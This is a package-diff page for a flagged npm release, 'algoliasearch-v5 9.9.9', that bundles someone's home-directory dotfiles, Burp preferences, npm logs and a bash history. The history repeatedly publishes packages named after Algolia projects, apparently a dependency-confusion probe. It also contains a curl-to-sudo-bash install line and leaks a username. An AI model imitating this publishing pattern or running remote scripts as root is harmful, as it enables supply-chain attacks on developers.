algoliasearch-v5 9.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of algoliasearch-v5 might be problematic. Click here for more details.
- package/.bash_history +199 -0
- package/.bash_logout +7 -0
- package/.bashrc +156 -0
- package/.bashrc.original +113 -0
- package/.config/powershell/Microsoft.PowerShell_profile.ps1 +31 -0
- package/.java/.userPrefs/burp/prefs.xml +12 -0
- package/.npm/_cacache/content-v2/sha512/81/a3/01593e3d05e005006fb7d399c57e8a88c811ba02eceb967e0b743b60cffbb78d296406d2531463297475609bc3b907fc44a7c9f28016c6d15cbb8f0d9fe8 +1 -0
- package/.npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b +2 -0
- package/.npm/_logs/2024-10-01T13_56_37_352Z-debug-0.log +33 -0
- package/.npm/_logs/2024-10-01T13_57_12_212Z-debug-0.log +47 -0
- package/.npm/_logs/2024-10-01T13_57_41_296Z-debug-0.log +33 -0
- package/.npm/_logs/2024-10-01T13_57_49_004Z-debug-0.log +37 -0
- package/.npm/_logs/2024-10-01T13_58_38_614Z-debug-0.log +33 -0
- package/.npm/_logs/2024-10-01T13_59_00_151Z-debug-0.log +37 -0
- package/.npm/_logs/2024-10-01T13_59_49_545Z-debug-0.log +34 -0
- package/.npm/_update-notifier-last-checked +0 -0
- package/.profile +27 -0
- package/.sudo_as_admin_successful +0 -0
- package/.zshrc +258 -0
- package/package.json +12 -0
package/.bash_history
ADDED
@@ -0,0 +1,199 @@
|
|
1
|
+
npm
|
2
|
+
sudo apt install npm
|
3
|
+
sudo apt install curl
|
4
|
+
curl -fsSL https://deb.nodesource.com/setup_14.x | sudo -E bash -
|
5
|
+
sudo apt-get install -y nodejs
|
6
|
+
sudo npm install -g npm@latest
|
7
|
+
npm
|
8
|
+
sudo apt install npm
|
9
|
+
npm
|
10
|
+
npm init
|
11
|
+
ls
|
12
|
+
nano package.json
|
13
|
+
npm publish
|
14
|
+
nano package.json
|
15
|
+
npm publish
|
16
|
+
npm adduser
|
17
|
+
npm publish
|
18
|
+
npm adduser
|
19
|
+
npm publish
|
20
|
+
nano package.json
|
21
|
+
npm publish
|
22
|
+
clear
|
23
|
+
npm init
|
24
|
+
nano package.json
|
25
|
+
npm publish
|
26
|
+
clear
|
27
|
+
npm init
|
28
|
+
npm publish
|
29
|
+
npm init
|
30
|
+
npm publish
|
31
|
+
npm i autocomplete-monorepo
|
32
|
+
nano package.json
|
33
|
+
npm i autocomplete-monorepo
|
34
|
+
nano package.json
|
35
|
+
npm i autocomplete-monorepo
|
36
|
+
nano package.json
|
37
|
+
npm i autocomplete-monorepasdsada
|
38
|
+
npm init
|
39
|
+
nano package.json
|
40
|
+
npm publish
|
41
|
+
npm i multiple-keys
|
42
|
+
nano package.json
|
43
|
+
npm init
|
44
|
+
nano package.json
|
45
|
+
npm adduser
|
46
|
+
npm i @algolia/autocomplete-monorepo
|
47
|
+
npm init
|
48
|
+
npm i babel.github.io
|
49
|
+
npm init
|
50
|
+
npm i multi-index-hits
|
51
|
+
npm init
|
52
|
+
npm i int_algolia_sfra
|
53
|
+
npm init
|
54
|
+
npm i int_algolia_sfra
|
55
|
+
npm
|
56
|
+
clear
|
57
|
+
npm init
|
58
|
+
nano package.json
|
59
|
+
npm i example-react-instantsearch-next-example
|
60
|
+
nano package.json
|
61
|
+
npm i example-react-instantsearch-next-example
|
62
|
+
nano package.json
|
63
|
+
sudo npm uninstall npm -g
|
64
|
+
npm
|
65
|
+
sudo npm uninstall npm -g
|
66
|
+
nano package.json
|
67
|
+
npm init
|
68
|
+
nano package.json
|
69
|
+
npm init
|
70
|
+
nano package.json
|
71
|
+
npm init
|
72
|
+
nano package.json
|
73
|
+
npm i adawdsada
|
74
|
+
nano package.json
|
75
|
+
npm i adawdsada
|
76
|
+
cls
|
77
|
+
clear
|
78
|
+
npm init
|
79
|
+
npm i example-react-instantsearch-next-example
|
80
|
+
clear
|
81
|
+
npm init
|
82
|
+
npm publish
|
83
|
+
npm -l react-instantsearch-app
|
84
|
+
npm i re
|
85
|
+
npm i react-instantsearch-app
|
86
|
+
npm -l react-instantsearch-appcls
|
87
|
+
clear
|
88
|
+
rm -rf package.json
|
89
|
+
ls
|
90
|
+
cd node_modules
|
91
|
+
ls
|
92
|
+
cd ..
|
93
|
+
cls
|
94
|
+
cd node_modules
|
95
|
+
ls
|
96
|
+
cd ..
|
97
|
+
cls
|
98
|
+
clear
|
99
|
+
ls
|
100
|
+
rm -rf /node_modules
|
101
|
+
rm -rf package-lock.json
|
102
|
+
clear
|
103
|
+
ls
|
104
|
+
cd node_modules
|
105
|
+
ls
|
106
|
+
cd ..
|
107
|
+
rm -rf/node_modules
|
108
|
+
rm -rf /node_modules
|
109
|
+
ls
|
110
|
+
cd node_modules
|
111
|
+
ls
|
112
|
+
rm -rf /autocomplete-monorepo
|
113
|
+
ls
|
114
|
+
cd autocomplete-monorepoo
|
115
|
+
cd autocomplete-monorepo
|
116
|
+
ls
|
117
|
+
nano package.json
|
118
|
+
cd ..
|
119
|
+
cl
|
120
|
+
clear
|
121
|
+
npm init
|
122
|
+
ls
|
123
|
+
nano package.json
|
124
|
+
npm publish
|
125
|
+
clear
|
126
|
+
npm init
|
127
|
+
nano package.json
|
128
|
+
npm publish
|
129
|
+
cls
|
130
|
+
c;ear
|
131
|
+
clear
|
132
|
+
nano package.json
|
133
|
+
npm publish
|
134
|
+
nano package.json
|
135
|
+
npm publish
|
136
|
+
npm i algolia-analyzer
|
137
|
+
nano package.json
|
138
|
+
npm init
|
139
|
+
nano package.json
|
140
|
+
npm i arkose-vue2-example
|
141
|
+
npm publish
|
142
|
+
nano package.json
|
143
|
+
npm publish
|
144
|
+
clear
|
145
|
+
npm adduser
|
146
|
+
npm publish
|
147
|
+
npm i arkose-vue2-example
|
148
|
+
nano package.json
|
149
|
+
npm init
|
150
|
+
nano package.json
|
151
|
+
npm publish
|
152
|
+
nano package.json
|
153
|
+
npm i world-id-sign-in
|
154
|
+
npm init
|
155
|
+
nano package.json
|
156
|
+
npm publish
|
157
|
+
clear
|
158
|
+
npm adduser
|
159
|
+
npm init
|
160
|
+
nano package.json
|
161
|
+
npm publish
|
162
|
+
npm init
|
163
|
+
npm publish
|
164
|
+
nano package.json
|
165
|
+
npm publish
|
166
|
+
npm init
|
167
|
+
npm publish
|
168
|
+
clear
|
169
|
+
npm adduser
|
170
|
+
clear
|
171
|
+
npm init
|
172
|
+
nano package.json
|
173
|
+
npm publish
|
174
|
+
clear
|
175
|
+
npm publish
|
176
|
+
clear
|
177
|
+
npm init
|
178
|
+
nano package.json
|
179
|
+
npm publish
|
180
|
+
claer
|
181
|
+
clear
|
182
|
+
ls
|
183
|
+
rm -rf /node_modules
|
184
|
+
ls
|
185
|
+
rm -rf package.json
|
186
|
+
rm -rf package-lock.json
|
187
|
+
clear
|
188
|
+
npm adduser
|
189
|
+
npm init
|
190
|
+
nano package.json
|
191
|
+
npm publish
|
192
|
+
cls
|
193
|
+
clear
|
194
|
+
nano package.json
|
195
|
+
npm publish
|
196
|
+
nano package.json
|
197
|
+
npm i algoliasearch-v5
|
198
|
+
npm publish
|
199
|
+
clear
|
package/.bash_logout
ADDED
package/.bashrc
ADDED
@@ -0,0 +1,156 @@
|
|
1
|
+
# ~/.bashrc: executed by bash(1) for non-login shells.
|
2
|
+
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
|
3
|
+
# for examples
|
4
|
+
|
5
|
+
# If not running interactively, don't do anything
|
6
|
+
case $- in
|
7
|
+
*i*) ;;
|
8
|
+
*) return;;
|
9
|
+
esac
|
10
|
+
|
11
|
+
# don't put duplicate lines or lines starting with space in the history.
|
12
|
+
# See bash(1) for more options
|
13
|
+
HISTCONTROL=ignoreboth
|
14
|
+
|
15
|
+
# append to the history file, don't overwrite it
|
16
|
+
shopt -s histappend
|
17
|
+
|
18
|
+
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
|
19
|
+
HISTSIZE=1000
|
20
|
+
HISTFILESIZE=2000
|
21
|
+
|
22
|
+
# check the window size after each command and, if necessary,
|
23
|
+
# update the values of LINES and COLUMNS.
|
24
|
+
shopt -s checkwinsize
|
25
|
+
|
26
|
+
# If set, the pattern "**" used in a pathname expansion context will
|
27
|
+
# match all files and zero or more directories and subdirectories.
|
28
|
+
#shopt -s globstar
|
29
|
+
|
30
|
+
# make less more friendly for non-text input files, see lesspipe(1)
|
31
|
+
#[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
|
32
|
+
|
33
|
+
# set variable identifying the chroot you work in (used in the prompt below)
|
34
|
+
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
|
35
|
+
debian_chroot=$(cat /etc/debian_chroot)
|
36
|
+
fi
|
37
|
+
|
38
|
+
# set a fancy prompt (non-color, unless we know we "want" color)
|
39
|
+
case "$TERM" in
|
40
|
+
xterm-color|*-256color) color_prompt=yes;;
|
41
|
+
esac
|
42
|
+
|
43
|
+
# uncomment for a colored prompt, if the terminal has the capability; turned
|
44
|
+
# off by default to not distract the user: the focus in a terminal window
|
45
|
+
# should be on the output of commands, not on the prompt
|
46
|
+
force_color_prompt=yes
|
47
|
+
|
48
|
+
if [ -n "$force_color_prompt" ]; then
|
49
|
+
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
|
50
|
+
# We have color support; assume it's compliant with Ecma-48
|
51
|
+
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
|
52
|
+
# a case would tend to support setf rather than setaf.)
|
53
|
+
color_prompt=yes
|
54
|
+
else
|
55
|
+
color_prompt=
|
56
|
+
fi
|
57
|
+
fi
|
58
|
+
|
59
|
+
# The following block is surrounded by two delimiters.
|
60
|
+
# These delimiters must not be modified. Thanks.
|
61
|
+
# START KALI CONFIG VARIABLES
|
62
|
+
PROMPT_ALTERNATIVE=twoline
|
63
|
+
NEWLINE_BEFORE_PROMPT=yes
|
64
|
+
# STOP KALI CONFIG VARIABLES
|
65
|
+
|
66
|
+
if [ "$color_prompt" = yes ]; then
|
67
|
+
# override default virtualenv indicator in prompt
|
68
|
+
VIRTUAL_ENV_DISABLE_PROMPT=1
|
69
|
+
|
70
|
+
prompt_color='\[\033[;32m\]'
|
71
|
+
info_color='\[\033[1;34m\]'
|
72
|
+
prompt_symbol=㉿
|
73
|
+
if [ "$EUID" -eq 0 ]; then # Change prompt colors for root user
|
74
|
+
prompt_color='\[\033[;94m\]'
|
75
|
+
info_color='\[\033[1;31m\]'
|
76
|
+
# Skull emoji for root terminal
|
77
|
+
#prompt_symbol=💀
|
78
|
+
fi
|
79
|
+
case "$PROMPT_ALTERNATIVE" in
|
80
|
+
twoline)
|
81
|
+
PS1=$prompt_color'┌──${debian_chroot:+($debian_chroot)──}${VIRTUAL_ENV:+(\[\033[0;1m\]$(basename $VIRTUAL_ENV)'$prompt_color')}('$info_color'\u'$prompt_symbol'\h'$prompt_color')-[\[\033[0;1m\]\w'$prompt_color']\n'$prompt_color'└─'$info_color'\$\[\033[0m\] ';;
|
82
|
+
oneline)
|
83
|
+
PS1='${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV)) }${debian_chroot:+($debian_chroot)}'$info_color'\u@\h\[\033[00m\]:'$prompt_color'\[\033[01m\]\w\[\033[00m\]\$ ';;
|
84
|
+
backtrack)
|
85
|
+
PS1='${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV)) }${debian_chroot:+($debian_chroot)}\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ';;
|
86
|
+
esac
|
87
|
+
unset prompt_color
|
88
|
+
unset info_color
|
89
|
+
unset prompt_symbol
|
90
|
+
else
|
91
|
+
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
|
92
|
+
fi
|
93
|
+
unset color_prompt force_color_prompt
|
94
|
+
|
95
|
+
# If this is an xterm set the title to user@host:dir
|
96
|
+
case "$TERM" in
|
97
|
+
xterm*|rxvt*|Eterm|aterm|kterm|gnome*|alacritty)
|
98
|
+
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
|
99
|
+
;;
|
100
|
+
*)
|
101
|
+
;;
|
102
|
+
esac
|
103
|
+
|
104
|
+
[ "$NEWLINE_BEFORE_PROMPT" = yes ] && PROMPT_COMMAND="PROMPT_COMMAND=echo"
|
105
|
+
|
106
|
+
# enable color support of ls, less and man, and also add handy aliases
|
107
|
+
if [ -x /usr/bin/dircolors ]; then
|
108
|
+
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
|
109
|
+
export LS_COLORS="$LS_COLORS:ow=30;44:" # fix ls color for folders with 777 permissions
|
110
|
+
|
111
|
+
alias ls='ls --color=auto'
|
112
|
+
#alias dir='dir --color=auto'
|
113
|
+
#alias vdir='vdir --color=auto'
|
114
|
+
|
115
|
+
alias grep='grep --color=auto'
|
116
|
+
alias fgrep='fgrep --color=auto'
|
117
|
+
alias egrep='egrep --color=auto'
|
118
|
+
alias diff='diff --color=auto'
|
119
|
+
alias ip='ip --color=auto'
|
120
|
+
|
121
|
+
export LESS_TERMCAP_mb=$'\E[1;31m' # begin blink
|
122
|
+
export LESS_TERMCAP_md=$'\E[1;36m' # begin bold
|
123
|
+
export LESS_TERMCAP_me=$'\E[0m' # reset bold/blink
|
124
|
+
export LESS_TERMCAP_so=$'\E[01;33m' # begin reverse video
|
125
|
+
export LESS_TERMCAP_se=$'\E[0m' # reset reverse video
|
126
|
+
export LESS_TERMCAP_us=$'\E[1;32m' # begin underline
|
127
|
+
export LESS_TERMCAP_ue=$'\E[0m' # reset underline
|
128
|
+
fi
|
129
|
+
|
130
|
+
# colored GCC warnings and errors
|
131
|
+
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
|
132
|
+
|
133
|
+
# some more ls aliases
|
134
|
+
alias ll='ls -l'
|
135
|
+
alias la='ls -A'
|
136
|
+
alias l='ls -CF'
|
137
|
+
|
138
|
+
# Alias definitions.
|
139
|
+
# You may want to put all your additions into a separate file like
|
140
|
+
# ~/.bash_aliases, instead of adding them here directly.
|
141
|
+
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
|
142
|
+
|
143
|
+
if [ -f ~/.bash_aliases ]; then
|
144
|
+
. ~/.bash_aliases
|
145
|
+
fi
|
146
|
+
|
147
|
+
# enable programmable completion features (you don't need to enable
|
148
|
+
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
|
149
|
+
# sources /etc/bash.bashrc).
|
150
|
+
if ! shopt -oq posix; then
|
151
|
+
if [ -f /usr/share/bash-completion/bash_completion ]; then
|
152
|
+
. /usr/share/bash-completion/bash_completion
|
153
|
+
elif [ -f /etc/bash_completion ]; then
|
154
|
+
. /etc/bash_completion
|
155
|
+
fi
|
156
|
+
fi
|
package/.bashrc.original
ADDED
@@ -0,0 +1,113 @@
|
|
1
|
+
# ~/.bashrc: executed by bash(1) for non-login shells.
|
2
|
+
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
|
3
|
+
# for examples
|
4
|
+
|
5
|
+
# If not running interactively, don't do anything
|
6
|
+
case $- in
|
7
|
+
*i*) ;;
|
8
|
+
*) return;;
|
9
|
+
esac
|
10
|
+
|
11
|
+
# don't put duplicate lines or lines starting with space in the history.
|
12
|
+
# See bash(1) for more options
|
13
|
+
HISTCONTROL=ignoreboth
|
14
|
+
|
15
|
+
# append to the history file, don't overwrite it
|
16
|
+
shopt -s histappend
|
17
|
+
|
18
|
+
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
|
19
|
+
HISTSIZE=1000
|
20
|
+
HISTFILESIZE=2000
|
21
|
+
|
22
|
+
# check the window size after each command and, if necessary,
|
23
|
+
# update the values of LINES and COLUMNS.
|
24
|
+
shopt -s checkwinsize
|
25
|
+
|
26
|
+
# If set, the pattern "**" used in a pathname expansion context will
|
27
|
+
# match all files and zero or more directories and subdirectories.
|
28
|
+
#shopt -s globstar
|
29
|
+
|
30
|
+
# make less more friendly for non-text input files, see lesspipe(1)
|
31
|
+
#[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
|
32
|
+
|
33
|
+
# set variable identifying the chroot you work in (used in the prompt below)
|
34
|
+
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
|
35
|
+
debian_chroot=$(cat /etc/debian_chroot)
|
36
|
+
fi
|
37
|
+
|
38
|
+
# set a fancy prompt (non-color, unless we know we "want" color)
|
39
|
+
case "$TERM" in
|
40
|
+
xterm-color|*-256color) color_prompt=yes;;
|
41
|
+
esac
|
42
|
+
|
43
|
+
# uncomment for a colored prompt, if the terminal has the capability; turned
|
44
|
+
# off by default to not distract the user: the focus in a terminal window
|
45
|
+
# should be on the output of commands, not on the prompt
|
46
|
+
#force_color_prompt=yes
|
47
|
+
|
48
|
+
if [ -n "$force_color_prompt" ]; then
|
49
|
+
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
|
50
|
+
# We have color support; assume it's compliant with Ecma-48
|
51
|
+
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
|
52
|
+
# a case would tend to support setf rather than setaf.)
|
53
|
+
color_prompt=yes
|
54
|
+
else
|
55
|
+
color_prompt=
|
56
|
+
fi
|
57
|
+
fi
|
58
|
+
|
59
|
+
if [ "$color_prompt" = yes ]; then
|
60
|
+
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
|
61
|
+
else
|
62
|
+
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
|
63
|
+
fi
|
64
|
+
unset color_prompt force_color_prompt
|
65
|
+
|
66
|
+
# If this is an xterm set the title to user@host:dir
|
67
|
+
case "$TERM" in
|
68
|
+
xterm*|rxvt*)
|
69
|
+
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
|
70
|
+
;;
|
71
|
+
*)
|
72
|
+
;;
|
73
|
+
esac
|
74
|
+
|
75
|
+
# enable color support of ls and also add handy aliases
|
76
|
+
if [ -x /usr/bin/dircolors ]; then
|
77
|
+
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
|
78
|
+
alias ls='ls --color=auto'
|
79
|
+
#alias dir='dir --color=auto'
|
80
|
+
#alias vdir='vdir --color=auto'
|
81
|
+
|
82
|
+
#alias grep='grep --color=auto'
|
83
|
+
#alias fgrep='fgrep --color=auto'
|
84
|
+
#alias egrep='egrep --color=auto'
|
85
|
+
fi
|
86
|
+
|
87
|
+
# colored GCC warnings and errors
|
88
|
+
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
|
89
|
+
|
90
|
+
# some more ls aliases
|
91
|
+
#alias ll='ls -l'
|
92
|
+
#alias la='ls -A'
|
93
|
+
#alias l='ls -CF'
|
94
|
+
|
95
|
+
# Alias definitions.
|
96
|
+
# You may want to put all your additions into a separate file like
|
97
|
+
# ~/.bash_aliases, instead of adding them here directly.
|
98
|
+
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
|
99
|
+
|
100
|
+
if [ -f ~/.bash_aliases ]; then
|
101
|
+
. ~/.bash_aliases
|
102
|
+
fi
|
103
|
+
|
104
|
+
# enable programmable completion features (you don't need to enable
|
105
|
+
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
|
106
|
+
# sources /etc/bash.bashrc).
|
107
|
+
if ! shopt -oq posix; then
|
108
|
+
if [ -f /usr/share/bash-completion/bash_completion ]; then
|
109
|
+
. /usr/share/bash-completion/bash_completion
|
110
|
+
elif [ -f /etc/bash_completion ]; then
|
111
|
+
. /etc/bash_completion
|
112
|
+
fi
|
113
|
+
fi
|
@@ -0,0 +1,31 @@
|
|
1
|
+
|
2
|
+
function prompt {
|
3
|
+
# The following block is surrounded by two delimiters.
|
4
|
+
# These delimiters must not be modified. Thanks.
|
5
|
+
# START KALI CONFIG VARIABLES
|
6
|
+
$PROMPT_ALTERNATIVE='twoline'
|
7
|
+
$NEWLINE_BEFORE_PROMPT='yes'
|
8
|
+
# STOP KALI CONFIG VARIABLES
|
9
|
+
|
10
|
+
$esc = [char]27
|
11
|
+
$bell = [char]7
|
12
|
+
$bold = "$esc[1m"
|
13
|
+
$reset = "$esc[0m"
|
14
|
+
If ($NEWLINE_BEFORE_PROMPT -eq 'yes') { Write-Host }
|
15
|
+
If ($PROMPT_ALTERNATIVE -eq 'twoline') {
|
16
|
+
Write-Host "┌──(" -NoNewLine -ForegroundColor Blue
|
17
|
+
Write-Host "${bold}$([environment]::username)㉿$([system.environment]::MachineName)${reset}" -NoNewLine -ForegroundColor Magenta
|
18
|
+
Write-Host ")-[" -NoNewLine -ForegroundColor Blue
|
19
|
+
Write-Host "${bold}$(Get-Location)${reset}" -NoNewLine -ForegroundColor White
|
20
|
+
Write-Host "]" -ForegroundColor Blue
|
21
|
+
Write-Host "└─" -NoNewLine -ForegroundColor Blue
|
22
|
+
Write-Host "${bold}PS>${reset}" -NoNewLine -ForegroundColor Blue
|
23
|
+
} Else {
|
24
|
+
Write-Host "${bold}PS " -NoNewLine -ForegroundColor Blue
|
25
|
+
Write-Host "$([environment]::username)@$([system.environment]::MachineName) " -NoNewLine -ForegroundColor Magenta
|
26
|
+
Write-Host "$(Get-Location)>${reset}" -NoNewLine -ForegroundColor Blue
|
27
|
+
}
|
28
|
+
# Terminal title
|
29
|
+
Write-Host "${esc}]0;PS> $([environment]::username)@$([system.environment]::MachineName): $(Get-Location)${bell}" -NoNewLine
|
30
|
+
return " "
|
31
|
+
}
|
@@ -0,0 +1,12 @@
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
2
|
+
<!DOCTYPE map SYSTEM "http://java.sun.com/dtd/preferences.dtd">
|
3
|
+
<map MAP_XML_VERSION="1.0">
|
4
|
+
<entry key="free.suite.alertsdisabledforjre-1849443513" value="true"/>
|
5
|
+
<entry key="free.suite.alertsdisabledforjre-2220309211" value="true"/>
|
6
|
+
<entry key="free.suite.alertsdisabledforjre-3187814639" value="true"/>
|
7
|
+
<entry key="free.suite.alertsdisabledforjre-4147451139" value="true"/>
|
8
|
+
<entry key="free.suite.alertsdisabledforjre-439594872" value="true"/>
|
9
|
+
<entry key="free.suite.alertsdisabledforjre-492727137" value="true"/>
|
10
|
+
<entry key="free.suite.alertsdisabledforjre-277690372" value="true"/>
|
11
|
+
<entry key="free.suite.updatesdisabledforaweeksince" value="2000000000000"/>
|
12
|
+
</map>
|
@@ -0,0 +1 @@
|
|
1
|
+
{"username":"n1rmala9"}
|
package/.npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b
ADDED
@@ -0,0 +1,2 @@
|
|
1
|
+
|
2
|
+
2253d10ea4165d09409bbd2516674140f5cb576a {"key":"make-fetch-happen:request-cache:https://registry.npmjs.org/-/whoami","integrity":"sha512-gaMBWT49BeAFAG+305nFfoqIyBG6Auzrln4LdDtgz/u3jSlkBtJTFGMpdHVgm8O5B/xEp8nygBbG0Vy7jw2f6A==","time":1727791069482,"size":23,"metadata":{"time":1727791069474,"url":"https://registry.npmjs.org/-/whoami","reqHeaders":{},"resHeaders":{"content-type":"application/json","date":"Tue, 01 Oct 2024 13:58:05 GMT","vary":"Accept-Encoding"},"options":{"compress":true}}}
|
@@ -0,0 +1,33 @@
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
2
|
+
1 info using npm@9.2.0
|
3
|
+
2 info using node@v18.20.1
|
4
|
+
3 timing npm:load:whichnode Completed in 0ms
|
5
|
+
4 timing config:load:defaults Completed in 2ms
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 3ms
|
7
|
+
6 timing config:load:builtin Completed in 3ms
|
8
|
+
7 timing config:load:cli Completed in 2ms
|
9
|
+
8 timing config:load:env Completed in 0ms
|
10
|
+
9 timing config:load:project Completed in 2ms
|
11
|
+
10 timing config:load:file:/home/n1rmala/.npmrc Completed in 0ms
|
12
|
+
11 timing config:load:user Completed in 1ms
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 0ms
|
14
|
+
13 timing config:load:global Completed in 0ms
|
15
|
+
14 timing config:load:setEnvs Completed in 1ms
|
16
|
+
15 timing config:load Completed in 11ms
|
17
|
+
16 timing npm:load:configload Completed in 11ms
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 1ms
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
20
|
+
19 verbose title npm
|
21
|
+
20 verbose argv
|
22
|
+
21 timing npm:load:setTitle Completed in 1ms
|
23
|
+
22 timing config:load:flatten Completed in 3ms
|
24
|
+
23 timing npm:load:display Completed in 3ms
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/n1rmala/.npm/_logs/2024-10-01T13_56_37_352Z-
|
26
|
+
25 verbose logfile /home/n1rmala/.npm/_logs/2024-10-01T13_56_37_352Z-debug-0.log
|
27
|
+
26 timing npm:load:logFile Completed in 7ms
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
29
|
+
28 timing npm:load:configScope Completed in 0ms
|
30
|
+
29 timing npm:load Completed in 23ms
|
31
|
+
30 verbose exit 1
|
32
|
+
31 timing npm Completed in 29ms
|
33
|
+
32 verbose code 1
|
@@ -0,0 +1,47 @@
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
2
|
+
1 info using npm@9.2.0
|
3
|
+
2 info using node@v18.20.1
|
4
|
+
3 timing npm:load:whichnode Completed in 0ms
|
5
|
+
4 timing config:load:defaults Completed in 2ms
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 3ms
|
7
|
+
6 timing config:load:builtin Completed in 3ms
|
8
|
+
7 timing config:load:cli Completed in 1ms
|
9
|
+
8 timing config:load:env Completed in 1ms
|
10
|
+
9 timing config:load:project Completed in 1ms
|
11
|
+
10 timing config:load:file:/home/n1rmala/.npmrc Completed in 1ms
|
12
|
+
11 timing config:load:user Completed in 1ms
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 0ms
|
14
|
+
13 timing config:load:global Completed in 0ms
|
15
|
+
14 timing config:load:setEnvs Completed in 1ms
|
16
|
+
15 timing config:load Completed in 10ms
|
17
|
+
16 timing npm:load:configload Completed in 10ms
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
20
|
+
19 verbose title npm uninstall
|
21
|
+
20 verbose argv "uninstall"
|
22
|
+
21 timing npm:load:setTitle Completed in 1ms
|
23
|
+
22 timing config:load:flatten Completed in 2ms
|
24
|
+
23 timing npm:load:display Completed in 4ms
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/n1rmala/.npm/_logs/2024-10-01T13_57_12_212Z-
|
26
|
+
25 verbose logfile /home/n1rmala/.npm/_logs/2024-10-01T13_57_12_212Z-debug-0.log
|
27
|
+
26 timing npm:load:logFile Completed in 5ms
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
29
|
+
28 timing npm:load:configScope Completed in 1ms
|
30
|
+
29 timing npm:load Completed in 22ms
|
31
|
+
30 silly logfile done cleaning log files
|
32
|
+
31 timing config:load:flatten Completed in 0ms
|
33
|
+
32 timing command:uninstall Completed in 1ms
|
34
|
+
33 verbose stack Error: Must provide a package name to remove
|
35
|
+
33 verbose stack at Uninstall.exec (/usr/share/nodejs/npm/lib/commands/uninstall.js:30:15)
|
36
|
+
33 verbose stack at Npm.exec (/usr/share/nodejs/npm/lib/npm.js:187:29)
|
37
|
+
33 verbose stack at async module.exports (/usr/share/nodejs/npm/lib/cli.js:133:5)
|
38
|
+
34 verbose cwd /home/n1rmala
|
39
|
+
35 verbose Linux 5.15.153.1-microsoft-standard-WSL2
|
40
|
+
36 verbose node v18.20.1
|
41
|
+
37 verbose npm v9.2.0
|
42
|
+
38 error Must provide a package name to remove
|
43
|
+
39 verbose exit 1
|
44
|
+
40 timing npm Completed in 39ms
|
45
|
+
41 verbose code 1
|
46
|
+
42 error A complete log of this run can be found in:
|
47
|
+
42 error /home/n1rmala/.npm/_logs/2024-10-01T13_57_12_212Z-debug-0.log
|
@@ -0,0 +1,33 @@
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
2
|
+
1 info using npm@9.2.0
|
3
|
+
2 info using node@v18.20.1
|
4
|
+
3 timing npm:load:whichnode Completed in 0ms
|
5
|
+
4 timing config:load:defaults Completed in 1ms
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
|
7
|
+
6 timing config:load:builtin Completed in 4ms
|
8
|
+
7 timing config:load:cli Completed in 1ms
|
9
|
+
8 timing config:load:env Completed in 0ms
|
10
|
+
9 timing config:load:project Completed in 1ms
|
11
|
+
10 timing config:load:file:/home/n1rmala/.npmrc Completed in 0ms
|
12
|
+
11 timing config:load:user Completed in 0ms
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 0ms
|
14
|
+
13 timing config:load:global Completed in 0ms
|
15
|
+
14 timing config:load:setEnvs Completed in 1ms
|
16
|
+
15 timing config:load Completed in 9ms
|
17
|
+
16 timing npm:load:configload Completed in 10ms
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
20
|
+
19 verbose title npm
|
21
|
+
20 verbose argv
|
22
|
+
